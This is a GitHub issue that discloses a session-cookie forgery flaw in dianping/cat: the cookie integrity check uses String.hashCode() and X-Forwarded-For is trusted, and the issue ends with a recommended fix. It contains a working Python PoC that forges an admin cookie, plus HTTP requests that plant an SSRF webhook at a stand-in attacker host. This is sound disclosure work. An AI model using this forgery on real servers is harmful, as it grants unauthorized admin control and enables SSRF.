Skip to content

Session cookie forgery allows unauthenticated admin access #2384

Description

@geo-chen

reported via email on 3 June 2026 - no response.

I am reporting a session authentication vulnerability in dianping/cat that allows any unauthenticated attacker with network access to the CAT HTTP port to forge a valid admin session cookie and gain full write access to all CAT configuration endpoints.

Summary of the issue:

CAT's session cookie (named "ct") uses Java's String.hashCode() as its only integrity check. This function is public, deterministic, and requires no server-side secret, so an attacker can compute a valid cookie value for any username entirely offline. A second flaw in the same code path uses the client-supplied X-Forwarded-For header as the canonical client IP, so the per-request IP binding check is also trivially bypassed by setting that header to match the IP embedded in the forged cookie.

Affected files:

  • cat-home/src/main/java/com/dianping/cat/system/page/login/service/TokenBuilder.java

    • getCheckSum() at line 58 uses str.hashCode() with no server secret
    • parse() at line 76 compares the cookie IP against HttpUtils.getRemoteAddress() which reads X-Forwarded-For first
  • cat-home/src/main/java/com/dianping/cat/util/HttpUtils.java

    • getRemoteAddress() at line 22 reads the X-Forwarded-For header without validation

PoC (requires Python, no external libraries):

Step 1 -- compute the forged cookie:

import time

def java_hash(s):
    h = 0
    for c in s:
        h = (31 * h + ord(c)) & 0xFFFFFFFF
    if h >= 0x80000000:
        h -= 0x100000000
    return h

real_name = "admin"
user_name = "admin"
timestamp = str(int(time.time() * 1000))
remote_ip = "172.19.0.1"   # set to match X-Forwarded-For header below

payload = real_name + "|" + user_name + "|" + timestamp + "|" + remote_ip + "|"
cookie  = payload + str(java_hash(payload))
print("ct=" + cookie)

Step 2 -- access the admin configuration page:

GET /cat/s/config?op=projects HTTP/1.1
Host: <cat-host>:8080
Cookie: ct=admin|admin|<timestamp>|172.19.0.1|<hashcode>
X-Forwarded-For: 172.19.0.1

HTTP/1.1 200 OK
(full admin config page returned, no redirect to login)

Step 3 -- store an attacker-controlled SSRF webhook:

POST /cat/s/config?op=alertSenderConfigUpdate HTTP/1.1
Host: <cat-host>:8080
Cookie: ct=admin|admin|<timestamp>|172.19.0.1|<hashcode>
X-Forwarded-For: 172.19.0.1
Content-Type: application/x-www-form-urlencoded

content=<sender-config><sender id="x" url="http://attacker.local/ssrf" type="get" ...></sender></sender-config>

Response contains the attacker URL reflected back, confirming the config was persisted.

Recommended fix:

Replace hashCode() with a cryptographically keyed MAC (e.g. HMAC-SHA256) over the token payload, using a server-side secret stored outside the cookie. Remove the IP binding check, or if IP binding is desired, derive the IP exclusively from request.getRemoteAddr() and never from proxy headers.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions